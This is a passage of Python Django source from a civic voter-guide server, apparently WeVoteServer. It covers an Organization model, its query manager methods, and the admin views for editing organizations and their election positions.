Organization.objects.all() organization_queryset = organization_queryset.filter( id__in=organization_ids_followed_by_voter) organization_queryset = organization_queryset.order_by('organization_name') organization_list = organization_queryset if len(organization_list): organization_list_found = True status = 'ORGANIZATIONS_FOUND_BY_ORGANIZATION_LIST' else: status = 'NO_ORGANIZATIONS_FOUND_BY_ORGANIZATION_LIST' success = True except Exception as e: status = 'retrieve_organizations_by_id_list: Unable to retrieve organizations from db. ' \ '{error} [type: {error_type}]'.format(error=e.message, error_type=type(e)) success = False results = { 'success': success, 'status': status, 'organization_list_found': organization_list_found, 'organization_list': organization_list, } return results def retrieve_organizations_from_non_unique_identifiers(self, twitter_handle): organization_list_objects = [] organization_list_found = False twitter_handle_filtered = extract_twitter_handle_from_text_string(twitter_handle) try: organization_queryset = Organization.objects.all() organization_queryset = organization_queryset.filter( organization_twitter_handle__iexact=twitter_handle_filtered) # If multiple organizations claim the same Twitter handle, select the one with... ?? # organization_queryset = organization_queryset.order_by('-twitter_followers_count') organization_list_objects = organization_queryset if len(organization_list_objects): organization_list_found = True status = 'ORGANIZATIONS_RETRIEVED_FROM_TWITTER_HANDLE' success = True else: status = 'NO_ORGANIZATIONS_RETRIEVED_FROM_TWITTER_HANDLE' success = True except Organization.DoesNotExist: # No organizations found. Not a problem. status = 'NO_ORGANIZATIONS_FOUND_FROM_TWITTER_HANDLE_DoesNotExist' organization_list_objects = [] success = True except Exception as e: handle_exception(e, logger=logger) status = 'FAILED retrieve_organizations_from_non_unique_identifiers ' \ '{error} [type: {error_type}]'.format(error=e, error_type=type(e)) success = False results = { 'success': success, 'status': status, 'organization_list_found': organization_list_found, 'organization_list': organization_list_objects, } return results def retrieve_possible_duplicate_organizations(self, organization_name, organization_twitter_handle, vote_smart_id, we_vote_id_from_master=''): organization_list_objects = [] filters = [] organization_list_found = False try: organization_queryset = Organization.objects.all() # Ignore entries with we_vote_id coming in from master server if positive_value_exists(we_vote_id_from_master): organization_queryset = organization_queryset.filter(~Q(we_vote_id__iexact=we_vote_id_from_master)) # We want to find organizations with *any* of these values if positive_value_exists(organization_name): new_filter = Q(organization_name__iexact=organization_name) filters.append(new_filter) if positive_value_exists(organization_twitter_handle): new_filter = Q(organization_twitter_handle__iexact=organization_twitter_handle) filters.append(new_filter) if positive_value_exists(vote_smart_id): new_filter = Q(vote_smart_id=vote_smart_id) filters.append(new_filter) # Add the first query if len(filters): final_filters = filters.pop() # ...and "OR" the remaining items in the list for item in filters: final_filters |= item organization_queryset = organization_queryset.filter(final_filters) organization_list_objects = organization_queryset if len(organization_list_objects): organization_list_found = True status = 'DUPLICATE_ORGANIZATIONS_RETRIEVED' success = True else: status = 'NO_DUPLICATE_ORGANIZATIONS_RETRIEVED' success = True except Organization.DoesNotExist: # No organizations found. Not a problem. status = 'NO_DUPLICATE_ORGANIZATIONS_FOUND_DoesNotExist' organization_list_objects = [] success = True except Exception as e: handle_exception(e, logger=logger) status = 'FAILED retrieve_possible_duplicate_organizations ' \ '{error} [type: {error_type}]'.format(error=e, error_type=type(e)) success = False results = { 'success': success, 'status': status, 'organization_list_found': organization_list_found, 'organization_list': organization_list_objects, } return results class Organization(models.Model): # We are relying on built-in Python id field # The we_vote_id identifier is unique across all We Vote sites, and allows us to share our org info with other # organizations # It starts with "wv" then we add on a database specific identifier like "3v" (WeVoteSetting.site_unique_id_prefix) # then the string "org", and then a sequential integer like "123". # We keep the last value in WeVoteSetting.we_vote_id_last_org_integer we_vote_id = models.CharField( verbose_name="we vote permanent id", max_length=255, null=True, blank=True, unique=True) organization_name = models.CharField( verbose_name="organization name", max_length=255, null=False, blank=False) organization_website = models.URLField(verbose_name='url of the endorsing organization', blank=True, null=True) organization_email = models.EmailField( verbose_name='organization contact email address', max_length=255, unique=False, null=True, blank=True) organization_contact_name = models.CharField(max_length=255, null=True, unique=False) organization_facebook = models.URLField(verbose_name='url of facebook page', blank=True, null=True) organization_image = models.CharField(verbose_name='organization image', max_length=255, null=True, unique=False) state_served_code = models.CharField(verbose_name="state this organization serves", max_length=2, null=True, blank=True) # The vote_smart special interest group sigId for this organization vote_smart_id = models.BigIntegerField( verbose_name="vote smart special interest group id", null=True, blank=True, unique=True) organization_description = models.TextField( verbose_name="Text description of this organization.", null=True, blank=True) organization_address = models.CharField( verbose_name='organization street address', max_length=255, unique=False, null=True, blank=True) organization_city = models.CharField(max_length=255, null=True, blank=True) organization_state = models.CharField(max_length=2, null=True, blank=True) organization_zip = models.CharField(max_length=255, null=True, blank=True) organization_phone1 = models.CharField(max_length=255, null=True, blank=True) organization_phone2 = models.CharField(max_length=255, null=True, blank=True) organization_fax = models.CharField(max_length=255, null=True, blank=True) twitter_user_id = models.BigIntegerField(verbose_name="twitter id", null=True, blank=True) organization_twitter_handle = models.CharField( verbose_name='organization twitter screen_name', max_length=255, null=True, unique=False) twitter_name = models.CharField( verbose_name="org name from twitter", max_length=255, null=True, blank=True) twitter_location = models.CharField( verbose_name="org location from twitter", max_length=255, null=True, blank=True) twitter_followers_count = models.IntegerField(verbose_name="number of twitter followers", null=False, blank=True, default=0) twitter_profile_image_url_https = models.URLField(verbose_name='url of user logo from twitter', blank=True, null=True) twitter_profile_background_image_url_https = models.URLField(verbose_name='tile-able background from twitter', blank=True, null=True) twitter_profile_banner_url_https = models.URLField(verbose_name='profile banner image from twitter', blank=True, null=True) twitter_description = models.CharField(verbose_name="Text description of this organization from twitter.", max_length=255, null=True, blank=True) wikipedia_page_id = models.BigIntegerField(verbose_name="pageid", null=True, blank=True) wikipedia_page_title = models.CharField( verbose_name="Page title on Wikipedia", max_length=255, null=True, blank=True) wikipedia_thumbnail_url = models.URLField(verbose_name='url of wikipedia logo thumbnail', blank=True, null=True) wikipedia_thumbnail_width = models.IntegerField(verbose_name="width of photo", null=True, blank=True) wikipedia_thumbnail_height = models.IntegerField(verbose_name="height of photo", null=True, blank=True) wikipedia_photo_url = models.URLField(verbose_name='url of wikipedia logo', blank=True, null=True) ballotpedia_page_title = models.CharField( verbose_name="Page title on Ballotpedia", max_length=255, null=True, blank=True) ballotpedia_photo_url = models.URLField(verbose_name='url of ballotpedia logo', blank=True, null=True) NONPROFIT_501C3 = '3' NONPROFIT_501C4 = '4' POLITICAL_ACTION_COMMITTEE = 'P' CORPORATION = 'C' NEWS_CORPORATION = 'N' UNKNOWN = 'U' ORGANIZATION_TYPE_CHOICES = ( (NONPROFIT_501C3, 'Nonprofit 501c3'), (NONPROFIT_501C4, 'Nonprofit 501c4'), (POLITICAL_ACTION_COMMITTEE, 'Political Action Committee'), (CORPORATION, 'Corporation'), (NEWS_CORPORATION, 'News Corporation'), (UNKNOWN, 'Unknown'), ) organization_type = models.CharField( verbose_name="type of org", max_length=1, choices=ORGANIZATION_TYPE_CHOICES, default=UNKNOWN) def __unicode__(self): return str(self.organization_name) def organization_photo_url(self): if positive_value_exists(self.organization_image): return self.organization_image elif positive_value_exists(self.twitter_profile_image_url_https): return self.twitter_profile_image_url_https_bigger() elif positive_value_exists(self.wikipedia_photo_url): return self.wikipedia_photo_url return '' def twitter_profile_image_url_https_bigger(self): if self.twitter_profile_image_url_https: return self.twitter_profile_image_url_https.replace("_normal", "_bigger") else: return '' def twitter_profile_image_url_https_original(self): if self.twitter_profile_image_url_https: return self.twitter_profile_image_url_https.replace("_normal", "") else: return '' class Meta: ordering = ('organization_name',) objects = OrganizationManager() @classmethod def create(cls, organization_name, organization_website, organization_twitter_handle, organization_email, organization_facebook, organization_image): organization = cls(organization_name=organization_name, organization_website=organization_website, organization_twitter_handle=organization_twitter_handle, organization_email=organization_email, organization_facebook=organization_facebook, organization_image=organization_image) return organization # We override the save function so we can auto-generate we_vote_id def save(self, *args, **kwargs): # Even if this organization came from another source we still need a unique we_vote_id if self.we_vote_id: self.we_vote_id = self.we_vote_id.strip().lower() if self.we_vote_id == "" or self.we_vote_id is None: # If there isn't a value... # ...generate a new id site_unique_id_prefix = fetch_site_unique_id_prefix() next_local_integer = fetch_next_we_vote_id_last_org_integer() # "wv" = We Vote # site_unique_id_prefix = a generated (or assigned) unique id for one server running We Vote # "org" = tells us this is a unique id for an org # next_integer = a unique, sequential integer for this server - not necessarily tied to database id self.we_vote_id = "wv{site_unique_id_prefix}org{next_integer}".format( site_unique_id_prefix=site_unique_id_prefix, next_integer=next_local_integer, ) # TODO we need to deal with the situation where we_vote_id is NOT unique on save super(Organization, self).save(*args, **kwargs) def is_nonprofit_501c3(self): return self.organization_type in self.NONPROFIT_501C3 def is_nonprofit_501c4(self): return self.organization_type in self.NONPROFIT_501C4 def is_political_action_committee(self): return self.organization_type in self.POLITICAL_ACTION_COMMITTEE def is_corporation(self): return self.organization_type in self.CORPORATION def is_news_corporation(self): return self.organization_type in self.NEWS_CORPORATION def is_organization_type_specified(self): return self.organization_type in ( self.NONPROFIT_501C3, self.NONPROFIT_501C4, self.POLITICAL_ACTION_COMMITTEE, self.CORPORATION, self.NEWS_CORPORATION) def generate_facebook_link(self): if self.organization_facebook: return "https://facebook.com/{facebook_page}".format(facebook_page=self.organization_facebook) else: return '' def generate_twitter_link(self): if self.organization_twitter_handle: return "https://twitter.com/{twitter_handle}".format(twitter_handle=self.organization_twitter_handle) else: return '' def generate_wikipedia_link(self): if self.wikipedia_page_title: encoded_page_title = self.wikipedia_page_title.replace(" ", "_") return "https://en.wikipedia.org/wiki/{page_title}".format(page_title=encoded_page_title) else: return '' ``` #### File: WeVoteServer/organization/views_admin.py ```python from .controllers import organizations_import_from_master_server from .models import Organization from .serializers import OrganizationSerializer from admin_tools.views import redirect_to_sign_in_page from candidate.models import CandidateCampaign, CandidateCampaignListManager, CandidateCampaignManager from django.db.models import Q from django.http import HttpResponseRedirect from django.core.urlresolvers import reverse from django.contrib import messages from django.contrib.auth.decorators import login_required from django.contrib.messages import get_messages from django.shortcuts import render from exception.models import handle_record_found_more_than_one_exception,\ handle_record_not_deleted_exception, handle_record_not_found_exception, handle_record_not_saved_exception from election.models import Election, ElectionManager from measure.models import ContestMeasure, ContestMeasureList, ContestMeasureManager from organization.models import OrganizationListManager, OrganizationManager from position.models import PositionEntered, PositionEnteredManager, INFORMATION_ONLY, OPPOSE, \ STILL_DECIDING, SUPPORT from rest_framework.views import APIView from rest_framework.response import Response from voter.models import retrieve_voter_authority, voter_has_authority from voter_guide.models import VoterGuideManager import wevote_functions.admin from wevote_functions.functions import convert_to_int, extract_twitter_handle_from_text_string, positive_value_exists, \ STATE_CODE_MAP ORGANIZATION_STANCE_CHOICES = ( (SUPPORT, 'We Support'), (OPPOSE, 'We Oppose'), (INFORMATION_ONLY, 'Information Only - No stance'), (STILL_DECIDING, 'We Are Still Deciding Our Stance'), ) logger = wevote_functions.admin.get_logger(__name__) # This page does not need to be protected. class OrganizationsSyncOutView(APIView): def __str__(self): return str("") def get(self, request, format=None): state_served_code = request.GET.get('state_served_code', '') organization_list = Organization.objects.all() if positive_value_exists(state_served_code): organization_list = organization_list.filter(state_served_code__iexact=state_served_code) serializer = OrganizationSerializer(organization_list, many=True, allow_null=True) return Response(serializer.data) @login_required def organizations_import_from_master_server_view(request): google_civic_election_id = convert_to_int(request.GET.get('google_civic_election_id', 0)) state_code = request.GET.get('state_code', '') results = organizations_import_from_master_server(request, state_code) if not results['success']: messages.add_message(request, messages.ERROR, results['status']) else: messages.add_message(request, messages.INFO, 'Organizations import completed. ' 'Saved: {saved}, Updated: {updated}, ' 'Master data not imported (local duplicates found): ' '{duplicates_removed}, ' 'Not processed: {not_processed}' ''.format(saved=results['saved'], updated=results['updated'], duplicates_removed=results['duplicates_removed'], not_processed=results['not_processed'])) return HttpResponseRedirect(reverse('admin_tools:sync_dashboard', args=()) + "?google_civic_election_id=" + str(google_civic_election_id) + "&state_code=" + str(state_code)) @login_required def organization_list_view(request): authority_required = {'verified_volunteer'} # admin, verified_volunteer if not voter_has_authority(request, authority_required): return redirect_to_sign_in_page(request, authority_required) organization_state_code = request.GET.get('organization_state', '') google_civic_election_id = request.GET.get('google_civic_election_id', '') candidate_we_vote_id = request.GET.get('candidate_we_vote_id', '') organization_search = request.GET.get('organization_search', '') messages_on_stage = get_messages(request) organization_list_query = Organization.objects.all() if positive_value_exists(organization_state_code): organization_list_query = organization_list_query.filter(state_served_code__iexact=organization_state_code) if positive_value_exists(organization_search): filters = [] new_filter = Q(organization_name__icontains=organization_search) filters.append(new_filter) new_filter = Q(organization_twitter_handle__icontains=organization_search) filters.append(new_filter) new_filter = Q(organization_website__icontains=organization_search) filters.append(new_filter) new_filter = Q(we_vote_id__icontains=organization_search) filters.append(new_filter) # Add the first query if len(filters): final_filters = filters.pop() # ...and "OR" the remaining items in the list for item in filters: final_filters |= item organization_list_query = organization_list_query.filter(final_filters) organization_list_query = organization_list_query.order_by('organization_name') organization_list = organization_list_query state_list = STATE_CODE_MAP sorted_state_list = sorted(state_list.items()) template_values = { 'messages_on_stage': messages_on_stage, 'candidate_we_vote_id': candidate_we_vote_id, 'google_civic_election_id': google_civic_election_id, 'organization_list': organization_list, 'organization_search': organization_search, 'organization_state': organization_state_code, 'state_list': sorted_state_list, } return render(request, 'organization/organization_list.html', template_values) @login_required def organization_new_view(request): authority_required = {'verified_volunteer'} # admin, verified_volunteer if not voter_has_authority(request, authority_required): return redirect_to_sign_in_page(request, authority_required) # A positive value in google_civic_election_id means we want to create a voter guide for this org for this election google_civic_election_id = request.GET.get('google_civic_election_id', 0) election_manager = ElectionManager() upcoming_election_list = [] results = election_manager.retrieve_upcoming_elections() if results['success']: upcoming_election_list = results['election_list'] state_list = STATE_CODE_MAP sorted_state_list = sorted(state_list.items()) messages_on_stage = get_messages(request) template_values = { 'messages_on_stage': messages_on_stage, 'upcoming_election_list': upcoming_election_list, 'google_civic_election_id': google_civic_election_id, 'state_list': sorted_state_list, } return render(request, 'organization/organization_edit.html', template_values) @login_required def organization_edit_view(request, organization_id): authority_required = {'verified_volunteer'} # admin, verified_volunteer if not voter_has_authority(request, authority_required): return redirect_to_sign_in_page(request, authority_required) # A positive value in google_civic_election_id means we want to create a voter guide for this org for this election google_civic_election_id = request.GET.get('google_civic_election_id', 0) messages_on_stage = get_messages(request) organization_id = convert_to_int(organization_id) organization_on_stage_found = False organization_manager = OrganizationManager() organization_on_stage = Organization() state_served_code = '' results = organization_manager.retrieve_organization(organization_id) if results['organization_found']: organization_on_stage = results['organization'] state_served_code = organization_on_stage.state_served_code organization_on_stage_found = True election_manager = ElectionManager() upcoming_election_list = [] results = election_manager.retrieve_upcoming_elections() if results['success']: upcoming_election_list = results['election_list'] state_list = STATE_CODE_MAP sorted_state_list = sorted(state_list.items()) if organization_on_stage_found: template_values = { 'messages_on_stage': messages_on_stage, 'organization': organization_on_stage, 'upcoming_election_list': upcoming_election_list, 'google_civic_election_id': google_civic_election_id, 'state_list': sorted_state_list, 'state_served_code': state_served_code, } else: template_values = { 'messages_on_stage': messages_on_stage, 'upcoming_election_list': upcoming_election_list, 'google_civic_election_id': google_civic_election_id, 'state_list': sorted_state_list, } return render(request, 'organization/organization_edit.html', template_values) @login_required def organization_edit_process_view(request): """ Process the new or edit organization forms :param request: :return: """ authority_required = {'verified_volunteer'} # admin, verified_volunteer if not voter_has_authority(request, authority_required): return redirect_to_sign_in_page(request, authority_required) organization_id = convert_to_int(request.POST.get('organization_id', 0)) organization_name = request.POST.get('organization_name', '') organization_twitter_handle = request.POST.get('organization_twitter_handle', False) organization_facebook = request.POST.get('organization_facebook', False) organization_website = request.POST.get('organization_website', False) wikipedia_page_title = request.POST.get('wikipedia_page_title', False) wikipedia_photo_url = request.POST.get('wikipedia_photo_url', False) state_served_code = request.POST.get('state_served_code', False) # A positive value in google_civic_election_id or add_organization_button means we want to create a voter guide # for this org for this election google_civic_election_id = request.POST.get('google_civic_election_id', 0) # add_organization_button = request.POST.get('add_organization_button', False) # Filter incoming data organization_twitter_handle = extract_twitter_handle_from_text_string(organization_twitter_handle) # Check to see if this organization is already being used anywhere organization_on_stage_found = False try: organization_query = Organization.objects.filter(id=organization_id) if organization_query.count(): organization_on_stage = organization_query[0] organization_on_stage_found = True except Exception as e: handle_record_not_found_exception(e, logger=logger) try: if organization_on_stage_found: # Update if organization_name is not False: organization_on_stage.organization_name = organization_name if organization_twitter_handle is not False: organization_on_stage.organization_twitter_handle = organization_twitter_handle if organization_facebook is not False: organization_on_stage.organization_facebook = organization_facebook if organization_website is not False: organization_on_stage.organization_website = organization_website if wikipedia_page_title is not False: organization_on_stage.wikipedia_page_title = wikipedia_page_title if wikipedia_photo_url is not False: organization_on_stage.wikipedia_photo_url = wikipedia_photo_url if state_served_code is not False: organization_on_stage.state_served_code = state_served_code organization_on_stage.save() organization_id = organization_on_stage.id organization_we_vote_id = organization_on_stage.we_vote_id messages.add_message(request, messages.INFO, 'Organization updated.') else: # Create new # But first double-check that we don't have an org entry already organization_email = '' organization_list_manager = OrganizationListManager() results = organization_list_manager.organization_search_find_any_possibilities( organization_name, organization_twitter_handle, organization_website, organization_email) if results['organizations_found']: organizations_list = results['organizations_list'] organizations_count = len(organizations_list) messages.add_message(request, messages.INFO, 'We found {count} existing organizations ' 'that might match.'.format(count=organizations_count)) messages_on_stage = get_messages(request) template_values = { 'messages_on_stage': messages_on_stage, 'organizations_list': organizations_list, 'organization_name': organization_name, 'organization_twitter_handle': organization_twitter_handle, 'organization_facebook': organization_facebook, 'organization_website': organization_website, 'wikipedia_page_title': wikipedia_page_title, 'wikipedia_photo_url': wikipedia_photo_url, } return render(request, 'organization/organization_edit.html', template_values) minimum_required_variables_exist = positive_value_exists(organization_name) if not minimum_required_variables_exist: messages.add_message(request, messages.INFO, 'Missing name, which is required.') messages_on_stage = get_messages(request) template_values = { 'messages_on_stage': messages_on_stage, 'organization_name': organization_name, 'organization_twitter_handle': organization_twitter_handle, 'organization_facebook': organization_facebook, 'organization_website': organization_website, 'wikipedia_page_title': wikipedia_page_title, 'wikipedia_photo_url': wikipedia_photo_url, } return render(request, 'voter_guide/voter_guide_search.html', template_values) organization_on_stage = Organization( organization_name=organization_name, ) if organization_twitter_handle is not False: organization_on_stage.organization_twitter_handle = organization_twitter_handle if organization_facebook is not False: organization_on_stage.organization_facebook = organization_facebook if organization_website is not False: organization_on_stage.organization_website = organization_website if wikipedia_page_title is not False: organization_on_stage.wikipedia_page_title = wikipedia_page_title if wikipedia_photo_url is not False: organization_on_stage.wikipedia_photo_url = wikipedia_photo_url if state_served_code is not False: organization_on_stage.state_served_code = state_served_code organization_on_stage.save() organization_id = organization_on_stage.id organization_we_vote_id = organization_on_stage.we_vote_id messages.add_message(request, messages.INFO, 'New organization saved.') except Exception as e: messages.add_message(request, messages.ERROR, 'Could not save organization.' ' {error} [type: {error_type}]'.format(error=e, error_type=type(e))) return HttpResponseRedirect(reverse('organization:organization_list', args=())) # Create voter_guide for this election? if positive_value_exists(google_civic_election_id) and positive_value_exists(organization_we_vote_id): election_manager = ElectionManager() results = election_manager.retrieve_election(google_civic_election_id) if results['election_found']: election = results['election'] voter_guide_manager = VoterGuideManager() results = voter_guide_manager.update_or_create_organization_voter_guide_by_election_id( organization_we_vote_id, google_civic_election_id) if results['voter_guide_saved']: messages.add_message(request, messages.INFO, 'Voter guide for {election_name} election saved.' ''.format(election_name=election.election_name)) return HttpResponseRedirect(reverse('organization:organization_position_list', args=(organization_id,)) + "?google_civic_election_id=" + str(google_civic_election_id)) @login_required def organization_position_list_view(request, organization_id): authority_required = {'verified_volunteer'} # admin, verified_volunteer if not voter_has_authority(request, authority_required): return redirect_to_sign_in_page(request, authority_required) messages_on_stage = get_messages(request) organization_id = convert_to_int(organization_id) google_civic_election_id = convert_to_int(request.GET.get('google_civic_election_id', 0)) candidate_we_vote_id = request.GET.get('candidate_we_vote_id', '') organization_on_stage = Organization() organization_on_stage_found = False try: organization_query = Organization.objects.filter(id=organization_id) if organization_query.count(): organization_on_stage = organization_query[0] organization_on_stage_found = True except Exception as e: handle_record_not_found_exception(e, logger=logger) organization_on_stage_found = False if not organization_on_stage_found: messages.add_message(request, messages.ERROR, 'Could not find organization when trying to retrieve positions.') return HttpResponseRedirect(reverse('organization:organization_list', args=())) else: organization_position_list_found = False try: organization_position_list = PositionEntered.objects.order_by('stance') organization_position_list = organization_position_list.filter(organization_id=organization_id) if positive_value_exists(google_civic_election_id): organization_position_list = organization_position_list.filter( google_civic_election_id=google_civic_election_id) organization_position_list = organization_position_list.order_by( 'google_civic_election_id', '-vote_smart_time_span') if len(organization_position_list): organization_position_list_found = True except Exception as e: organization_position_list = [] for one_position in organization_position_list: position_manager = PositionEnteredManager() one_position = position_manager.refresh_cached_position_info(one_position) election_list = Election.objects.order_by('-election_day_text') if organization_position_list_found: template_values = { 'messages_on_stage': messages_on_stage, 'organization': organization_on_stage, 'organization_position_list': organization_position_list, 'election_list': election_list, 'google_civic_election_id': google_civic_election_id, 'candidate_we_vote_id': candidate_we_vote_id, } else: template_values = { 'messages_on_stage': messages_on_stage, 'organization': organization_on_stage, 'election_list': election_list, 'google_civic_election_id': google_civic_election_id, 'candidate_we_vote_id': candidate_we_vote_id, } return render(request, 'organization/organization_position_list.html', template_values) @login_required def organization_position_new_view(request, organization_id): authority_required = {'verified_volunteer'} # admin, verified_volunteer authority_results = retrieve_voter_authority(request) if not voter_has_authority(request, authority_required, authority_results): return redirect_to_sign_in_page(request, authority_required) google_civic_election_id = request.GET.get('google_civic_election_id', 0) candidate_we_vote_id = request.GET.get('candidate_we_vote_id', False) measure_we_vote_id = request.GET.get('measure_we_vote_id', False) # Take in some incoming values candidate_and_measure_not_found = request.GET.get('candidate_and_measure_not_found', False) stance = request.GET.get('stance', SUPPORT) # Set a default if stance comes in empty statement_text = request.GET.get('statement_text', '') # Set a default if stance comes in empty more_info_url = request.GET.get('more_info_url', '') # We pass candidate_we_vote_id to this page to pre-populate the form candidate_campaign_id = 0 if positive_value_exists(candidate_we_vote_id): candidate_campaign_manager = CandidateCampaignManager() results = candidate_campaign_manager.retrieve_candidate_campaign_from_we_vote_id(candidate_we_vote_id) if results['candidate_campaign_found']: candidate_campaign = results['candidate_campaign'] candidate_campaign_id = candidate_campaign.id # We pass candidate_we_vote_id to this page to pre-populate the form contest_measure_id = 0 if positive_value_exists(measure_we_vote_id): contest_measure_manager = ContestMeasureManager() results = contest_measure_manager.retrieve_contest_measure_from_we_vote_id(measure_we_vote_id) if results['contest_measure_found']: contest_measure = results['contest_measure'] contest_measure_id = contest_measure.id messages_on_stage = get_messages(request) organization_id = convert_to_int(organization_id) all_is_well = True organization_on_stage_found = False organization_on_stage = Organization() try: organization_on_stage = Organization.objects.get(id=organization_id) organization_on_stage_found = True except Organization.MultipleObjectsReturned as e: handle_record_found_more_than_one_exception(e, logger=logger) except Organization.DoesNotExist: # This is fine, create new pass if not organization_on_stage_found: messages.add_message(request, messages.INFO, 'Could not find organization when trying to create a new position.') return HttpResponseRedirect(reverse('organization:organization_position_list', args=([organization_id]))) # Prepare a drop down of candidates competing in this election candidate_campaign_list = CandidateCampaignListManager() candidate_campaigns_for_this_election_list = [] results = candidate_campaign_list.retrieve_all_candidates_for_upcoming_election(google_civic_election_id, True) if results['candidate_list_found']: candidate_campaigns_for_this_election_list = results['candidate_list_objects'] # Prepare a drop down of measures in this election contest_measure_list = ContestMeasureList() contest_measures_for_this_election_list = [] results = contest_measure_list.retrieve_all_measures_for_upcoming_election(google_civic_election_id, True) if results['measure_list_found']: contest_measures_for_this_election_list = results['measure_list_objects'] try: organization_position_list = PositionEntered.objects.order_by('stance') organization_position_list = organization_position_list.filter(organization_id=organization_id) if positive_value_exists(google_civic_election_id): organization_position_list = organization_position_list.filter( google_civic_election_id=google_civic_election_id) organization_position_list = organization_position_list.order_by( 'google_civic_election_id', '-vote_smart_time_span') if len(organization_position_list): organization_position_list_found = True except Exception as e: organization_position_list = [] if all_is_well: election_list = Election.objects.order_by('-election_day_text') template_values = { 'candidate_campaigns_for_this_election_list': candidate_campaigns_for_this_election_list, 'candidate_campaign_id': candidate_campaign_id, 'contest_measures_for_this_election_list': contest_measures_for_this_election_list, 'contest_measure_id': contest_measure_id, 'messages_on_stage': messages_on_stage, 'organization': organization_on_stage, 'organization_position_candidate_campaign_id': 0, 'possible_stances_list': ORGANIZATION_STANCE_CHOICES, 'stance_selected': stance, 'election_list': election_list, 'google_civic_election_id': google_civic_election_id, 'organization_position_list': organization_position_list, 'voter_authority': authority_results, # Incoming values from error state 'candidate_and_measure_not_found': candidate_and_measure_not_found, 'stance': stance, 'statement_text': statement_text, 'more_info_url': more_info_url, } return render(request, 'organization/organization_position_edit.html', template_values) @login_required def organization_delete_existing_position_process_form_view(request, organization_id, position_we_vote_id): """ :param request: :param organization_id: :param position_we_vote_id: :return: """ authority_required = {'admin'} # admin, verified_volunteer if not voter_has_authority(request, authority_required): return redirect_to_sign_in_page(request, authority_required) organization_id = convert_to_int(organization_id) # Get the existing position organization_position_on_stage_found = False if positive_value_exists(position_we_vote_id): organization_position_on_stage = PositionEntered() organization_position_on_stage_found = False position_entered_manager = PositionEnteredManager() results = position_entered_manager.retrieve_position_from_we_vote_id(position_we_vote_id) if results['position_found']: organization_position_on_stage_found = True organization_position_on_stage = results['position'] if not organization_position_on_stage_found: messages.add_message(request, messages.INFO, "Could not find this organization's position when trying to delete.") return HttpResponseRedirect(reverse('organization:organization_position_list', args=([organization_id]))) try: organization_position_on_stage.delete() except Exception as e: handle_record_not_deleted_exception(e, logger=logger) messages.add_message(request, messages.ERROR, 'Could not delete position.') return HttpResponseRedirect(reverse('organization:organization_position_list', args=([organization_id]))) messages.add_message(request, messages.INFO, 'Position deleted.') return HttpResponseRedirect(reverse('organization:organization_position_edit', args=([organization_id]))) @login_required def organization_position_edit_view(request, organization_id, position_we_vote_id): """ In edit, you can only change your stance and comments, not who or what the position is about :param request: :param organization_id: :param position_we_vote_id: :return: """ authority_required = {'verified_volunteer'} # admin, verified_volunteer if not voter_has_authority(request, authority_required): return redirect_to_sign_in_page(request, authority_required) google_civic_election_id = request.GET.get('google_civic_election_id', 0) messages_on_stage = get_messages(request) organization_id = convert_to_int(organization_id) organization_on_stage_found = False try: organization_on_stage = Organization.objects.get(id=organization_id) organization_on_stage_found = True except Organization.MultipleObjectsReturned as e: handle_record_found_more_than_one_exception(e, logger=logger) except Organization.DoesNotExist: # This is fine, create new pass if not organization_on_stage_found: messages.add_message(request, messages.INFO, 'Could not find organization when trying to edit a position.') return HttpResponseRedirect(reverse('organization:organization_position_list', args=([organization_id]))) # Get the existing position organization_position_on_stage = PositionEntered() organization_position_on_stage_found = False position_entered_manager = PositionEnteredManager() results = position_entered_manager.retrieve_position_from_we_vote_id(position_we_vote_id) if results['position_found']: organization_position_on_stage_found = True organization_position_on_stage = results['position'] if not organization_position_on_stage_found: messages.add_message(request, messages.INFO, 'Could not find organization position when trying to edit.') return HttpResponseRedirect(reverse('organization:organization_position_list', args=([organization_id]))) # Note: We have access to the candidate campaign through organization_position_on_stage.candidate_campaign election_list = Election.objects.all() if organization_position_on_stage_found: template_values = { 'is_in_edit_mode': True, 'messages_on_stage': messages_on_stage, 'organization': organization_on_stage, 'organization_position': organization_position_on_stage, 'possible_stances_list': ORGANIZATION_STANCE_CHOICES, 'stance_selected': organization_position_on_stage.stance, 'election_list': election_list, 'google_civic_election_id': google_civic_election_id, } return render(request, 'organization/organization_position_edit.html', template_values) @login_required def organization_position_edit_process_view(request): """ :param request: :return: """ authority_required = {'verified_volunteer'} # admin, verified_volunteer if not voter_has_authority(request, authority_required): return redirect_to_sign_in_page(request, authority_required) google_civic_election_id = convert_to_int(request.POST.get('google_civic_election_id', 0)) organization_id = convert_to_int(request.POST.get('organization_id', 0)) position_we_vote_id = request.POST.get('position_we_vote_id', '') candidate_campaign_id = convert_to_int(request.POST.get('candidate_campaign_id', 0)) contest_measure_id = convert_to_int(request.POST.get('contest_measure_id', 0)) stance = request.POST.get('stance', SUPPORT) # Set a default if stance comes in empty statement_text = request.POST.get('statement_text', '') # Set a default if stance comes in empty more_info_url = request.POST.get('more_info_url', '') go_back_to_add_new = False candidate_campaign_we_vote_id = "" google_civic_candidate_name = "" contest_measure_we_vote_id = "" google_civic_measure_title = "" candidate_campaign_on_stage_found = False contest_measure_on_stage_found = False organization_position_on_stage = PositionEntered() organization_on_stage = Organization() candidate_campaign_on_stage = CandidateCampaign() contest_measure_on_stage = ContestMeasure() state_code = "" position_entered_manager = PositionEnteredManager() # Make sure this is a valid organization before we try to save a position organization_on_stage_found = False organization_we_vote_id = "" try: organization_query = Organization.objects.filter(id=organization_id) if organization_query.count(): organization_on_stage = organization_query[0] organization_we_vote_id = organization_on_stage.we_vote_id organization_on_stage_found = True except Exception as e: # If we can't retrieve the organization, we cannot proceed handle_record_not_found_exception(e, logger=logger) if not organization_on_stage_found: messages.add_message( request, messages.ERROR, "Could not find the organization when trying to create or edit a new position.") return HttpResponseRedirect(reverse('organization:organization_list', args=())) # Now retrieve the CandidateCampaign or the ContestMeasure so we can save it with the Position # We need either candidate_campaign_id or contest_measure_id if candidate_campaign_id: try: candidate_campaign_on_stage = CandidateCampaign.objects.get(id=candidate_campaign_id) candidate_campaign_on_stage_found = True candidate_campaign_we_vote_id = candidate_campaign_on_stage.we_vote_id google_civic_candidate_name = candidate_campaign_on_stage.google_civic_candidate_name state_code = candidate_campaign_on_stage.state_code except CandidateCampaign.MultipleObjectsReturned as e: handle_record_found_more_than_one_exception(e, logger=logger) except CandidateCampaign.DoesNotExist as e: handle_record_not_found_exception(e, logger=logger) if not candidate_campaign_on_stage_found: messages.add_message( request, messages.ERROR, "Could not find Candidate's campaign when trying to create or edit a new position.") if positive_value_exists(position_we_vote_id): return HttpResponseRedirect( reverse('organization:organization_position_edit', args=([organization_id], [position_we_vote_id])) + 